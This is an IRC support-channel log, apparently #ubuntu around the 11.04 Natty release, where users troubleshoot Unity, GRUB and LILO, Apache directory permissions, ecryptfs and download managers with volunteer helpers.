[22:51] <ohsix> Stereocaulon_: agreed, which is why i'm not using anything that doesn't have gnome-panel in it
[22:51] <ohsix> ActionParsnip: well, shrug; yea i guess, but it's grandfathered from classic unix permissions
[22:51] <KitB> dupondje: Are you getting the black screen problem as well?
[22:51] <ohsix> ActionParsnip: there are other bits with special meanings on directories, x just happens to overlap directly with one that can be set on a file too
[22:51] <ActionParsnip> ohsix: true, so much easier than windows ones with inheritance of permissions mixing stuff up
[22:52] <ohsix> ActionParsnip: i think it's cute you can have a directory you otherwise have full permission to aside from listing its contents; makes lots of things easy
[22:52] <dupondje> KitB: have a black screen for like a minute @ boottime, and then it boots .. weird shit
[22:52] <bazhang> dupondje, no cursing please
[22:52] <ActionParsnip> ohsix: amen :)
[22:52] <KitB> dupondje: That is a little odd.
[22:53] <KitB> dupondje: Is this booting from a liv usb or after install?
[22:53] <eamon_> sorry to ask this again but does anyone know how secure ecryptfs is?
[22:53] <KitB> s/liv/live/
[22:53] <ohsix> ActionParsnip: you can still directly modify files you know the name of, or execute them or whatever
[22:53] <Stereocaulon_> ohsix, well, it is a rather minor issue after all...Thanks for letting me blow off some steam.
[22:53] <ActionParsnip> ohsix: I guess that has advantages
[22:53] <ohsix> eamon_: theres nobody that can quantify how secure it is, that's a decision someone makes knowing full well what it does, and deciding for themselves how secure they need it
[22:54] <dupondje> KitB: after upgrade (coming from 10.04)
[22:54] <kjxl9> im confused:"Type the following command to switch to the download directory: cd /home/user/downloads Replace "user" with your user name." i typed this in terminal and it said the dorectory doesn't exist
[22:54] <ohsix> eamon_: and while encryption may be mathematically resplendent, when people are involved they compromise it greatly; so you can't evaluate eitehr one in isolation
[22:54] <KitB> dupondje: I'm not getting the black screen on normal boot
[22:54] <KitB> (I also ran an upgrade, from 10.10)
[22:54] <ohsix> Stereocaulon_: np, everyone has lots to go around :]
[22:54] <eamon_> ohsix: ok thanks i was just wondering because since it only encrpyts your home directory i was worried that there maybe sensitive data stored in other parts of the partition is this true?
[22:55] <dupondje> Did have a kernel softlock also :(
[22:55] <ohsix> eamon_: if you really want some data you have to be secure you should segregate it and store it securely, that need not even include encryption, but often does; if you just go and encrypt everything the information you want to protect becomes as important as everything else, or the whole volume becomes very hard to secure
[22:56] <[segfault]> Hi folks.  I tried asking this yesterday, but lost my connection.  Does anyone know how to get Emerald themes running under Natty?  Whenever I do 'emerald --replace' it segfaults on me.
[22:56] <arrrghhh> [segfault], Emerald, isn't that ancient?
[22:56] <christhecoolboy> The Problem I have is that my mic is not listed after the 11.04 upgrade, it now has "Internal Audio Analogue Stereo" Instead... I have a MSI AE2020, The Sound card is a Nvidia MCP79 and the computer requires Snd-hda-intel to have Auto to have sound, loads more were tested in 10.10, http://paste.ubuntu.com/601047/ and http://paste.ubuntu.com/601054/ should give you more Information that can help fix it, the Mic is built in to the computer
[22:56] <eamon_> ohsix: are all privite files stored in the home directory such as logs?
[22:56] <arrrghhh> !emerald
[22:56] <ubottu> emerald is an obsolete window decorator for compiz. It's unsupported and unmaintained, making issues with it very hard to diagnose and fix. There are no known, supported alternatives.
[22:57] <arrrghhh> [segfault], ^^
[22:57] <MrMist1> ohsix: I'm using hdparam.conf just like before. No changes except the brace
[22:57] <MrMist1> ohsix: Gotta go... thanks for all the help though :)
[22:57] <[segfault]> arrrghhh: well, I guess so, but the themes are so much better than what I have seen in compiz.  I never realized it was that old.  Are there similar quality themes for compiz/unity then?  All the ones I have seen when I click 'get themes' are *very* basic, no glass transparencies, etc.
[22:58] <arrrghhh> [segfault], i don't really mess much with the themes to be honest, sorry.
[22:59] <cached> Who's the brain box who decided I don't want a task bar any more?
[22:59] <cached> And how do I get it back?
[22:59] <kjxl9> hey can i get some help with something?
[22:59] <[segfault]> arrrghhh: I guess I should hunt for alternative themes then.  Am I right in assuming that I can use compiz themes under Unity, then?
[22:59] <DiNozzo> Okay I would really appreciate help!
[22:59] <Stereocaulon_> cached, just switch back to classic mode, just as I dd after seeing Unity for about 1 minute
[22:59] <arrrghhh> [segfault], i'd assume so...
[22:59] <DiNozzo> Just installed 11.04 on my media server
[22:59] <MrMist1> kjxl9: Specify what you need help with..
[22:59] <MK``> adding >> in the terminal will append to a file right? while > makes a new file?
[22:59] <cached> Stereocaulon_: How do I do that?
[22:59] <DiNozzo> and the internal sound card wont output any sound
[23:00] <cached> MK``: Yes
[23:00] <DiNozzo> But if I check the sound panel it says "Internal Sound Card"
[23:00] <MK``> thanks cached
[23:00] <kjxl9> i type in "cd /Home/adam/downloads" and it sais the directory doesn't exist
[23:00] <manOwl> Where did the desktop effects preferences go in 11.04!?
[23:00] <[segfault]> arrrghhh: ok, I will see what else I may have missed.  The thin borders on most of these default themes are really hard to grab for resizing, etc.  Thanks for the help! :)
[23:00] <Stereocaulon_> cached, log off, insert your User name and Password and select the type of session on the bottom
[23:00] <trailoryo> anyone know about any good photo edit app?
[23:01] <guntbert> kjxl9: its /home/...  not /Home/...
[23:01] <Moa> hello guys ! Since I installed Naty, the Display on my monitor is ok but on my TV it is "greenish". The same hardware was perfect under maverick. Any idea ?
[23:01] <arrrghhh> [segfault], i know they drive me batty when i try to resize anything.  i just wish the zone for resizing was larger...
[23:01] <kjxl9> i didn't work either way
[23:01] <ohsix> eamon_: ehh well theres lots of files with information people can use; that's why its important to choose what information you want to protect
[23:01] <Lxndr> I upgraded from 10.10 to 11.04 on my laptop. However, now whenever I start the laptop, it gives me a startup screen that says "ubuntu studio Linux for creative humans" and does not move past that point. Can anyone help me troubleshoot?
[23:01] <manOwl> trailoryo: the gimp
[23:02] <trailoryo> thanks man0wl
[23:02] <[segfault]> arrrghhh: yes, and the new scroll box that appears when you get the mouse in *just* the right spot is annoying me also.  Thicker borders would help me there, but there is not enough configurability in the default theme engine.
[23:02] <MrMist1> kjxl9: use tab extensions... like "cd /home/a<tab>/Dow<tab>"
[23:02] <ohsix> eamon: even stuff in /var/log can contain identifying information as to usage patterns, when you turned your laptop on or off, what wifi you were connected to; that might not seem like anything at all but it does give away quite a bit
[23:02] <cached> Stereocaulon_: Fixed. Thanks!
[23:02] <guntbert> kjxl9: yes, and it is .../Downloads .... case matters!
[23:02] <MrMist1> kjxl9: If <tab> doesn't give you anything, try "<tab><tab>" to list possible selections..
[23:02] <Stereocaulon_> cached, welcome back in Gnome2 :-)
[23:02] <cached> Whoever decided that this interface is better needs to read up on "usability"
[23:02] <kjxl9> ok ill try
[23:02] <tarnschaf> hi, does anyone know a possibility to run 3 monitors with 2 graphics cards?
[23:03] <ohsix> eamon: best advice i can give is decide what information really matters, and keep it separate and secure, you can get mozilla/ff to use pcks11 and stuff as well
[23:03] <ohsix> cached: what if they did and they came to a different conclusion than you did? there's a funny thing about human behaviour ...
[23:03] <Stereocaulon_> cached, I agree wholly on that
[23:03] <Senix> How do i install *.run files?
[23:03] <kjxl9> ok i got it
[23:03] <ohsix> Senix: wherever you got the software should have instructions on how to install it; what software is it?
[23:04] <tensorpudding> Senix: if you double-click it, it should run
[23:04] <manOwl> man why isn't it easy to add a launcher to the unity panel?
[23:04] <manOwl> i just want to put a terminal on there
[23:04] <tensorpudding> manOwl: it's not hard
[23:04] <ohsix> manOwl: don't you just drag it after you searched for it?
[23:04] <manOwl> that's what I tried
[23:04] <manOwl> maybe I dragged it wrong
[23:04] <Senix> ohsix: its a game called "aquaria' that i bought from humble bundle
[23:04] <ohsix> or click on it or something, after it's launched
[23:04] <tensorpudding> manOwl: search for it, then drag it onto the launcher
[23:04] <ohsix> Senix: ah
[23:04] <tensorpudding> you can drag .desktop files too i think
[23:05] <manOwl> This panel is not ready for primetime
[23:05] <Juest> ok, where's the real grub config file????
[23:05] <manOwl> I am disappoint.
[23:05] <manOwl> tensorpudding: duh
[23:05] <Senix> i will take tensorpudding's advice and see if double-clicking will install. but ohsix how do i install it from terminal?
[23:05] <Juest> and how do i restore gnome-session, it's broken
[23:05] <manOwl> tensorpudding: two problems here
[23:05] <ohsix> Senix: well run it as instructed, but you could use checkinstall as well to track installed files and uninstall it later if you wish
[23:05] <ohsix> Senix: probably just sh file.run
[23:05] <manOwl> tensorpudding: dragging it to the bottom does not work, it seems intuitive to drag into empty space. for it to work you must drag it to the top
[23:05] <Solnse> Since I upgraded to 11, ubuntu won't load... it gets stuck on checking battery state... is this something I can fix?
[23:05] <bazhang> !grub2 | Juest have a read
[23:05] <ubottu> Juest have a read: GRUB2 is the default Ubuntu boot manager since 9.10 (Karmic). Lost GRUB after installing Windows? See https://help.ubuntu.com/community/RestoreGrub - For more information and troubleshooting for GRUB2 please refer to https://help.ubuntu.com/community/Grub2 - See !grub1 for releases before Karmic (9.10)
[23:05] <manOwl> second problem
[23:06] <manOwl> I just added the launcher to my panel
[23:06] <Juest> i can only run commands that i have troubles with shortcuts on applications listing
[23:06] <ohsix> manOwl: you should have spoke up during prereleases D: it's not like it just came into existence when natty was released
[23:06] <manOwl> and it instead inserted a blank space the size of the launcher
[23:06] <manOwl> with no icon
[23:06] <Juest> ok bazhang
[23:06] <manOwl> ohsix: i don't use developmental software
[23:06] <manOwl> i stay on stable releases
[23:06] <Juest> dosen't help -.-
[23:06] <Senix> ohsix: sweet thanks
[23:06] <manOwl> which is why I am a bit peeved
[23:06] <ohsix> manOwl: fair enough, but there's only so much you can ask for if you opted out of the entire process
[23:07] <bazhang> Juest, to fix grub, sure it does, if you read it
[23:07] <ohsix> manOwl: i've been finding that out over the last year or so :]
[23:07] <tensorpudding> Senix: generally speaking, files ending in .run are executable scripts (make sure that it's marked executable)
[23:07] <manOwl> I might have to file a couple bugs.
[23:07] <Juest> yeah, but i just want lilo
[23:07] <Juest> grub is ok
[23:07] <tensorpudding> Senix: you can do this by right-clicking and going to properties
[23:07] <ohsix> manOwl: please do, the blank icon thing you just mentioned sounds like a real bug
[23:07] <Droose> Hello everyone
[23:07] <bazhang> Juest, then why ask about grub explicitly
[23:07] <manOwl> yeah
[23:07] <manOwl> i'm taking a video of it now
[23:07] <manOwl> and gonna post it on launchapd
[23:07] <ohsix> much appreciated
[23:08] <Juest> and how do i edit directly the config that update-grub generates?
[23:08] <Droose> I have a question regarding the new unity desktop if someone could provide some help. I really appreciate it
[23:08] <Juest> because i need the true listing of boot choices
[23:08] <bazhang> Juest, I just told you. read that link
[23:08] <tensorpudding> manOwl: there's a video somewhere on http://omgubuntu.co.uk/natty/ that shows how to do it
[23:08] <Juest> ok
[23:08] <guntbert> Juest: usually you don't
[23:08] <ohsix> manOwl: and in a manner of speaking, unity is not ready for primetime yet, insofar as they wanted to release it and people to use it; it's not an LTS afterall, all these eyes on it now, and yourself and others filing bugs will straighten it out pretty fast
[23:08] <Juest> yeah, /etc/default/grub dosen't fit my needs
[23:09] <Juest> !grub
[23:09] <ubottu> GRUB2 is the default Ubuntu boot manager since 9.10 (Karmic). Lost GRUB after installing Windows? See https://help.ubuntu.com/community/RestoreGrub - For more information and troubleshooting for GRUB2 please refer to https://help.ubuntu.com/community/Grub2 - See !grub1 for releases before Karmic (9.10)
[23:09] <bazhang> guntbert, he wants to use lilo, no idea why he's asking this
[23:09] <manOwl> ohsix: i don't think it's a bad idea, i think it's kinda cool
[23:09] <Juest> yeah, i want lilo, but also that
[23:09] <manOwl> ohsix: but there are some things..
[23:09] <sven_> Hello. I just installed ubutu 11.04 on a computer with touchscreen. It is a Ideacom IDC 6650. The poniter behaves starange - more like a touchpap, than a touchscreen. Any Ideas how to fix that ?
[23:09] <guntbert> bazhang: that may be a language problem too :)
[23:09] <bazhang> https://help.ubuntu.com/community/Grub2   <--------- Juest
[23:09] <ohsix> manOwl: well it's a design, they need to flesh it out as a whole to see if it works, which is a tough thing to do
[23:09] <manOwl> ohsix: for example, a lot of apps in the repositories have 1995 icons that look like shit
[23:09] <manOwl> and when those icons are shown in unity
[23:09] <Droose> I want to revert to the old desktop style. I am not a fan of this new launcher system
[23:09] <Juest> and i need what to put in /etc/lilo.conf
[23:10] <manOwl> its just ugly
[23:10] <bazhang> manOwl, no cursing please
[23:10] <jrib> Droose: select "classic" at the login screen
[23:10] <tensorpudding> yeah, that's an issue unfortunately
[23:10] <ohsix> manOwl: yea theres not a lot they can do about that, those are provided files; they did put a lot of icons for popular software into the main ubuntu icon theme though
[23:10] <Solnse> I was hoping somebody could point me in the right direction.... since upgrading to 11, ubuntu hangs on checking battery state. I can't seem to find anything through searches. Is there something I can do to fix this problem?
[23:10] <Droose> @jrib thankyou
[23:10] <manOwl> ohsix: sure there is, they should just remove the apps
[23:10] <manOwl> a lot of them are trash anyway
[23:10] <tensorpudding> manOwl: which ones?
[23:11] <Juest> so?
[23:11] <tensorpudding> manOwl: that kind of defeats the purpose
[23:11] <manOwl> tensorpudding: there are misc apps being shown in the "hey download this" part
[23:11] <bazhang> Juest, so what?
[23:11] <manOwl> and they have ugly icons
[23:11] <ohsix> manOwl: ehhhh that's not something that's really done unless there's no maintainer, and everyone has a different idea of what's good and what isn't
[23:11] <guntbert> manOwl: please stop that ranting - doesn't help here at all
[23:11] <rach0> Solnse, do you get the "Checking battery state" msg
[23:11] <fatblueduck> how can i move the workspace switcher icon to the top of the dash?
[23:11] <manOwl> I don't care to be interrupted with information about some text based roleplaying game from 1998
[23:11] <Solnse> rach0, exactly
[23:11] <manOwl> when I'm searching the apps on my desktop
[23:11] <bazhang> manOwl, thats enough
[23:11] <jigynet> what?
[23:11] <ohsix> manOwl: yea what guntbert said, this has kind of ran off from me explaining things to a mini rant, which isn't appropriate here
[23:11] <jigynet> lols
[23:11] <JayWalker1> hey guys, I'm trying to set up triple monitors in 10.04 (with compiz enabled and using all 3 monitors as one X screen). This isn't possible with xinerama/twinview, anyone know a way that works?
[23:12] <manOwl> ohsix: i will have to put it in a blog.
[23:12] <Juest> because of some fstab non-ordinary uids i need to fix fstab or lilo.conf handwitring
[23:12] <jigynet> i used to run a dial up bbs
[23:12] <manOwl> sorry
[23:12] <jigynet> i had all kinds of text games
[23:12] <ohsix> manOwl: i thought that was weird too :D it searches uninstalled software
[23:12] <Juest> that's what i am asking for
[23:12] <Stereocaulon_> manOwl, just join #ubuntu-offtopic if you want to rant
[23:12] <Jordan_U> Juest: What are you trying to accomplish that you can't figure out how to do with grub2?
[23:12] <rgr> Juest: whats a non ordinary uid?
[23:12] <jigynet> i kinda want to start a new dial up bbs
[23:12] <marcin_> CONTECIN
[23:12] <bazhang> jigynet, got an ubuntu support question?
[23:12] <Stereocaulon_> jigynet, Ah, you too, loved Omega-rpg, still know it?
[23:12] <jigynet> yes 11 is still crashing java
[23:13] <rach0> Solnse, get into recovery terminal and try sudo apt-get install -reinstall gnome-power-manager
[23:13] <Solnse> rach0: during boot is just starts to hang and does nothing, the last thing I see on the list is checking battery state
[23:13] <ohsix> manOwl: fixing that will probably come with popcon and ratings from software-center, which are new; but will eventually rank used software to some degree, then they can be sorted when provided as suggestions for not yet installed software
[23:13] <Ultimate_Chaos> okay
[23:13] <Ultimate_Chaos> another problem
[23:13] <jigynet> lol no i have no clue about any text games these days, i'm all 3d rpg fps now
[23:13] <Solnse> rach0: ok, and that's all I should do, then reboot and it should boot?
[23:13] <Ultimate_Chaos> how do i get applications to launch from the sidebar
[23:13] <rgr> no.
[23:13] <Aikar> where do you report bugs in ubuntu one? ubuntu one wont let me sync "Purchased from Ubuntu One" if that directory is a symlink. I symlinked it to a diff harddrive and it wont let me sync unless its a plain folder
[23:13] <jigynet> i need a new pc tho =c
[23:13] <rach0> it should although it may throw out another error but at least you get back to GUI
[23:14] <ohsix> rgr: address who you are talking to
[23:14] <JayWalker1> nobody has any info on 3 monitor setups?
[23:14] <rgr> it might. but unlikely. since its unlikely that reinstalling it will change anything since the config files are already set up.
[23:14] <ohsix> rgr: please
[23:14] <ohsix> !who
[23:14] <ubottu> As you can see, this is a large channel. If you're speaking to someone in particular, please put their nickname in what you say (use !tab), or else messages get lost and it becomes confusing :)
[23:14] <Solnse> rach0: thank you very much for your response, I will go try it now.
[23:14] <sven_> Question: Any hints how to configure a touchscreen in ubuntu ?
[23:14] <jigynet> So, how do i get java to stop crashing? what is known to cause this in 10 and 11?
[23:14] <Juest> ok, so i want, * things that lilo.conf needs  * grub config that update-grub generates * fix gnome
[23:14] <Ultimate_Chaos> ohsix: do you know how to get applications to run off the sidebar?
[23:15] <ohsix> Aikar: on launchpad.net, you can use ubuntu-bug to fill in some default fields for you too
[23:15] <ohsix> Ultimate_Chaos: i don't know much about practical use of unity, as i don't use it myself
[23:15] <rgr> Juest: You still have given NO reason as to why you would use lilo.
[23:15] <Juest> testing pleasure
[23:15] <rach0> Solnse, you're welcome, if something goes wrong feel free to ask
[23:15] <Juest> yeah, i am curious
[23:15] <Juest> i do test for myself (that's testing pleasure)
[23:15] <jigynet> also, to circumvent this firefox java,ubu11 bug.. what other browser could i use
[23:15] <ohsix> Juest: you don't need to justify what you want to do, insofar as that people might want to know what you're doing so they can offer a better solution
[23:16] <Jordan_U> Juest: If you're just curious then you'll need to figure it out on your own. I think it's pretty clear by this point that you're not going to get lilo support here.
[23:16] <rgr> then ask in a lilo forum. Ubuntu defaults to grub. you are far more likely to get informed opinions elsehwere that its actually used.
[23:16] <ohsix> Juest: the problem with lilo being so ancient is you have constraints on what filesystems it can read to get access to its boot files, chances are it's not going to work
[23:16] <sdegutis> <3
[23:16] <XzargX> anyone running an asus p8p67 MB (base model, not PRo or anything) with Natty. would appreciate user  experience before purchase. thx
[23:16] <ohsix> rgr: it's still in the repositories, if you don't have anything to add please stop
[23:16] <Juest> lilo's debian default???
[23:17] <rgr> no
[23:17] <Soothsayer> is the user created in ubuntu a part of the 'root' group ?
[23:17] <sdegutis> :)
[23:17] <jigynet> dang firefox is slow..
[23:17] <Juest> oh?
[23:17] <ohsix> Juest: i doubt it
[23:17] <bazhang> Juest, you're on debian?
[23:17] <rgr> debian is grub too and has been for ages
[23:17] <sweb> why ubuntu 11 have bad failure on GPU and hardware ? what's the problem ?
[23:17] <Lxndr> I upgraded from 10.10 to 11.04 on my laptop. However, now whenever I start the laptop, it gives me a splash screen that says "Ubuntu studio Linux for creative humans" and does not move past that point. Can anyone help me troubleshoot?
[23:17] <rgr> Soothsayer: that is a non Q. What "user"? And when?
[23:17] <Juest> no, i am at ubuntu, just wondering. ubuntu is based in debian
[23:18] <jigynet> 3rd problem i'm having.. i can't switch and use diffrent desktops in my xubuntu install..if i select others the menu bars dont show up
[23:18] <ohsix> Soothsayer: yes, and the group is "admin"
[23:18] <Soothsayer> rgr, my issue is this.. apache's default location for web files is at /var/www/
[23:18] <ohsix> Soothsayer: you mean people who are able to sudo, no?
[23:18] <Ultimate_Chaos> rgr: no matter what i do my internet will not work
[23:18] <rgr> it is. but debian defaults to grub.
[23:18] <rgr> Soothsayer: correct
[23:18] <Soothsayer> how do I make that file writable by the user logged in?
[23:18] <rgr> you dont
[23:18] <Soothsayer> directory*
[23:18] <Jordan_U> Juest: Lilo is not Debian's default, and hasn't been for a *long* time. Debian's default is also grub2.
[23:18] <ohsix> Soothsayer: you don't want to do that
[23:18] <sdegutis> this is pretty sweet, im not gonna lie about it
[23:18] <Soothsayer> hmm
[23:18] <sdegutis> really digging it so far.
[23:18] <rgr> normally you would symbolically link back to that users files
[23:18] <ohsix> Soothsayer: you want to add a user to the group able to edit files there
[23:18] <Juest> oh
[23:18] <id10t> I can't seem to get www.linux.org to load up, anyone else able to?
[23:19] <rgr> Or I certainly do.
[23:19] <jigynet> 4th issue.. how do i go about setting up a ntfs swap for ubuntu without takeing out the boot secotr
[23:19] <ohsix> Soothsayer: or set it up so it looks for files elsewhere for your user
[23:19] <merlot> id10t: I wasn't able to earlier either
[23:19] <rgr> The fact you asked means I suspect you dont understant permissions. YOu need to understand them if you want to play with apache2.
[23:19] <ohsix> id10t: http://isup.me/www.linux.org
[23:19] <Soothsayer> ohsix, hmm.. "you want to add a user to the group able to edit files there"
[23:19] <guntbert> sdegutis:  Do you have an ubuntu support question?
[23:19] <id10t> merlot, thanks for the confo
[23:19] <ohsix> Soothsayer: i presume the group is "www", no?
[23:19] <sdegutis> brb
[23:19] <id10t> ohsix, thats a great link, thanks
[23:19] <rgr> Soothsayer: I strongly recommend NOT doing that. Link back to your home directory files. Much easier to back then too.
[23:20] <rgr> back up
[23:20] <Juest> edit: i want, * grub config that update-grub generates * fix gnome
[23:20] <rgr> Just is clearly trolling.
[23:20] <Soothsayer> ohsix, the var/www 's owner is root in the Properties dialog for that directory
[23:20] <hiexpo> id10t, www.linux.com
[23:20] <Juest> :(
[23:20] <bazhang> Juest, fix gnome? please clarify
[23:20] <ohsix> rgr: apache doens't follow symlinks by default, and you have to setup mod_userdir otherwise
[23:20] <Soothsayer> rgr, hmm.. that also sounds like a good option
[23:20] <rgr> Soothsayer: please read why i said. Dont go adding users to www-data etc until you know what you're doing. Use a symbolic link for now.
[23:21] <id10t> hiexpo, www.linux.com is a different site
[23:21] <rgr> You will thank me in the long run if you nede to reinstall etc ;)
[23:21] <Soothsayer> rgr, yup, I'm reading you.
[23:21] <Mannequin> hi. Just upgraded to 11.04 (from 10.10). The process was pretty smooth, although Grub2 just exploded (it boot into grub rescue mode)
[23:21] <ohsix> whatever you do, don't change permissions on those files, change the users you want to access those files
[23:21] <Juest> my gnome 2.32 got broken because of gnome3. and nothing works, only /usr/share/applications/*.desktop
[23:21] <kingofswords> hi am i here?
[23:21] <Mannequin> thankfully, I've already solved it
[23:21] <hiexpo> id10t, there is a linux.org/uk
[23:21] <Jordan_U> !gnome3 | Juest
[23:21] <ubottu> Juest: Gnome 3 is not currently supported on Ubuntu. A PPA for natty is available at https://launchpad.net/~gnome3-team/+archive/gnome3 but these packages are EXPERIMENTAL and UNSTABLE, will break Unity and possibly other parts of your system, and safe downgrading is not possible.
[23:21] <rgr> does sound pretty smooth to me ;) I guess epxectations have changed ;)
[23:21] <Juest> and it fails to confifure
[23:21] <Soothsayer> rgr: So change the apache config of symlink /var/www to go to a directory under my home directory ?
[23:21] <ohsix> Soothsayer: theres a ubuntu server guide to setup and do most tasks with apache as well
[23:21] <rgr> s/does/doesn't
[23:22] <Mannequin> but, of course, a non tech-saavy user will have a hard time if the same happens after she upgrades to 11.04
[23:22] <Juest> is not supported but is there and is not ppa
[23:22] <rgr> or put in a link in var/www to point back.
[23:22] <Juest> i am using maverick
[23:22] <jigynet> so we are stuck with an unsupported gui...
[23:22] <rgr> me, I point the links in my vhost files back to my home dir.
[23:22] <jigynet> thats wonderful!! way to go ubuntu!
[23:22] <ohsix> Soothsayer: i suggest reading the user guide, it tells you  how to setup virtual hosts, and they can store their files in your user directory; don't go modifying the in place files
[23:22] <id10t> gnome3 should work great under a virtual box
[23:22] <kingofswords> cant get tucan manager to add links?
[23:22] <Juest> yeah, but gnome3 replacing gnome 2.32?
[23:23] <Mannequin> so far, it seems to run pretty smooth
[23:23] <Soothsayer> ohsix, ye, I'm looking at those. Well, I just have one default virtual-host which I'll be using
[23:23] <ProfessorBacon> i can't get used to unity
[23:23] <ProfessorBacon> will there always be an "ubuntu-classic"?
[23:23] <Juest> gnome3 upgrading*
[23:23] <id10t> ProfessorBacon: you can switch your default desktop back to classic
[23:23] <ohsix> Soothsayer: then use the tools to do it :D don't stick symlinks in random places
[23:23] <Mannequin> the only "issue" is that changing desktop background image makes the system *really sluggish* during the image transition (fade in/out)
[23:23] <rgr> Soothsayer: e.g a vhost file enabled using a2ensite : http://pastebin.com/rhBmibKG
[23:23] <ProfessorBacon> id10t: yeah, i'm just scared it will disappear in future releases
[23:23] <ohsix> Soothsayer: i suggest leaving the default and creating a site for the actual host it'll be reachable by
[23:24] <id10t> ProfessorBacon: i hope not, its nice to fall back on
[23:24] <rgr> that vhost is stored "locally" as well and symlinked to from sites-available.
[23:24] <Lxndr> I upgraded from 10.10 to 11.04 on my laptop. However, now whenever I start the laptop, it gives me a splash screen that says "Ubuntu studio Linux for creative humans" and does not move past that point. Please help me get back on my computer. Please?
[23:24] <Soothsayer> rgr, ye, and is shamrockirishbar.com an entry in your host file? (I'm setting up a development server here)
[23:24] <Soothsayer> ohsix, makes sense.
[23:24] <ohsix> Soothsayer: it's important to never mess with deployed files permissions, they come from the maintainer and are set appropriately, you might introduce a security problem changing them
[23:24] <pragmaticenigma> ProfessorBacon:  That is the nice part about the linux community... even if Ubuntu stops supporting Gnome 2 there will be others willing to help get it installed
[23:24] <rgr> no its an external site.
[23:25] <rgr> but can be of course.
[23:25] <notlistening> <-- is happy he has caught a few bugs tonight
[23:25] <ProfessorBacon> without the window selector widget, my multimonitor setup gets confusing fast
[23:25] <Juest> well, what i have to do to make the package configuration work? and is gnome the thing that i am having troubles with
[23:25] <drawmeat> Hey everyone, does anyone know where i can find step by step instructions from installing a runable version of xubuntu on a usb drive.
[23:25] <bazhang> Juest, what package configuration?
[23:26] <bazhang> drawmeat, pendrivelinux.com
[23:26] <CONTECIN> ?
[23:26] <Juest> the one that's is done with debpkg/apt-get
[23:26] <Juest> some gnome packages have this trouble
[23:26] <drawmeat> bazhang, you are a wonderful and undoubtedly sexy human being
[23:26] <Juest> so i can't fully configure it
[23:27] <id10t> well I'm off, bye all
[23:27] <Soothsayer> ohsix, rgr: ok got it. So I'll setup a virtualhost with some dummy domain name like soothsayer.com and add it to my host files. For someone to externally access it, I'll add an alias for the external domain.
[23:27] <syrinx__> is the OMG natty guide having issues?  seems like all the links (dash, launcher, etc) point to the same page
[23:27] <notlistening> Am I right thinking that banshee is the default player now?
[23:27] <Juest> umm, no helpings ???
[23:28] <Jordan_U> !details | Juest
[23:28] <ubottu> Juest: Please give us full details. For example: "I have a problem with ..., I'm running Ubuntu version .... When I try to do ..., I get the following output: ..., but I expected it to do ..."
[23:28] <arrrghhh> notlistening, yes
[23:28] <notlistening> Great move ubuntu :D
[23:28] <jigynet> is there a wubi channel?
[23:28] <Guest84397> server #irc.efnet.net
[23:28] <bazhang> jigynet, nope
[23:28] <jigynet> =/
[23:28] <ohsix> notlistening: it has a "Recommends" in ubuntu-desktop, that's all it amounts to ;]
[23:29] <hiexpo> Jordan_U, pm
[23:29] <Jordan_U> hiexpo: Sure.
[23:29] <jigynet> i attempted to make a ntfsswap in windows, but linux doesnt have access to it, not even listed in gpart
[23:29] <kingofswords> any 1 recommend download mgr?
[23:29] <Lxndr> Okay, I guess nobody can help me. :( I'll try the forums, I guess.
[23:30] <rgr> kingofswords: for what?
[23:30] <jigynet> says there are 3 partitions blocked or secured..
[23:30] <Juest> ok, i am using ubuntu 10.10 in a virtualbox, i am having troubles with audio, gnome, grub/lilo and compiz. any logs? and how to use sys-v?
[23:30] <kingofswords> for downloading
[23:30] <rgr> ok... have fun.
[23:30] <Juest> lol?
[23:30] <kingofswords> oh sorry 4 ubuntu
[23:30] <bazhang> Juest, why would you need lilo for virtualbox
[23:31] <Juest> well, uinstalling lilo right now
[23:31] <bazhang> Juest, answer my question please
[23:31] <notlistening> kingofswords, what you downloading from where?
[23:31] <tommylommykins> ohai
[23:31] <tommylommykins> my netbook won't run unity
[23:31] <pragmaticenigma> anybody have any good solutions to getting 11.04 and a broadcom 4306 wireless card working? all the tutorials I find for 43xx only work with 4312 and up
[23:32] <tommylommykins> it complains about missing 3d drivers/hardware
[23:32] <tommylommykins> is there any way I can force it?
[23:32] <tommylommykins> well, not missing
[23:32] <tommylommykins> crappy
[23:32] <rgr> bazhang: he is trolling
[23:32] <kingofswords> oh from mediashare
[23:32] <Juest> ok, now it dosen't matter because i unistalled lilo
[23:32] <zise> test for irc
[23:32] <rgr> kingofswords: think a little. what browser for example.
[23:32]  * Juest is not trolling
[23:32] <kingofswords> firefox
[23:32] <zise> ubuntu 11.04
[23:32] <TrentonAdams> hey guys, I'd like to hook into gnome's auto mount system, from a shell script, to be able to back up my android SD card automatically every time I connect.
[23:33] <jigynet> tommy it sounds like a chipset may need to be installed or re-installed what does lspci report
[23:33] <kingofswords> is chromium better for restarting dls rgr?
[23:33] <TrentonAdams> Any ideas on how to do that?
[23:33] <codeFiend> hi all
[23:33] <codeFiend> i'm having problems installing from usb image
[23:33] <codeFiend> ubuntu 11.04 onto an exopc tablet
[23:33] <tommylommykins> that's a point, I am actually missing drivers
[23:33] <kingofswords> i have tucan dl mgr but it wont start
[23:33] <jigynet> and pls try to keep as much details on one line pls.
[23:33] <sdegutis> /me cant help with that issue, sorry
[23:33] <rgr> right kingofswords , there are multiple download managers for firefox, all easily tried. Why not attempt to see what you like from the firefox add ons?
[23:33] <Lxndr> I am using Ubuntu 11.04, having just done the internal upgrade from Ubuntu 10.10. It is on my laptop. I am attempting to start up my laptop after the upgrade. Unfortunately, it APPEARS to start correctly. However, it hangs on a splash screen that says Ubuntu is for creative humans, and does not give me any ability to further interact with the program. Can anyone help?
[23:33] <codeFiend> it never even hits the installer, just hangs there with 'CPU1 is not responding' message
[23:33] <^Mike> Is GNOME 3 stable on ubuntu? The PPA has warnings that demons will fly out your nose, but I've heard it runs ok...
[23:33]  * tommylommykins -> sorting things out
[23:34] <kingofswords> rgr thx
[23:34] <codeFiend> anyone see that error before? any tips on where to look for help?
[23:34] <ikonia> ^Mike: the PPA's are unsupport, ask the maintainer
[23:34] <notlistening> kingofsword, have you thought to use wget?
[23:34] <rgr> ^Mike: not its not stable. far from it.
[23:34] <sdegutis> /me prefers curl to wget :)
[23:34] <jigynet> tommy yup drivers wont be installed if hw is not detected..with some integrated gfx if not dont in step...will not install properly
[23:34] <ikonia> sdegutis: can you stop with the "/me" attempts please - just talk
[23:34] <rgr> nolistening that is silly advice for a noob who is using a browser to access download site ;)
[23:34] <jigynet> done
[23:34] <kingofswords> yeh i got a bit list of dl mgr other day..just didnt know which was any good
[23:35] <rgr> kingofswords: very subjective.
[23:35] <rgr> try them. Its so easy.
[23:35] <kingofswords> notlistening, ill try that one afterwhat rgr suggested
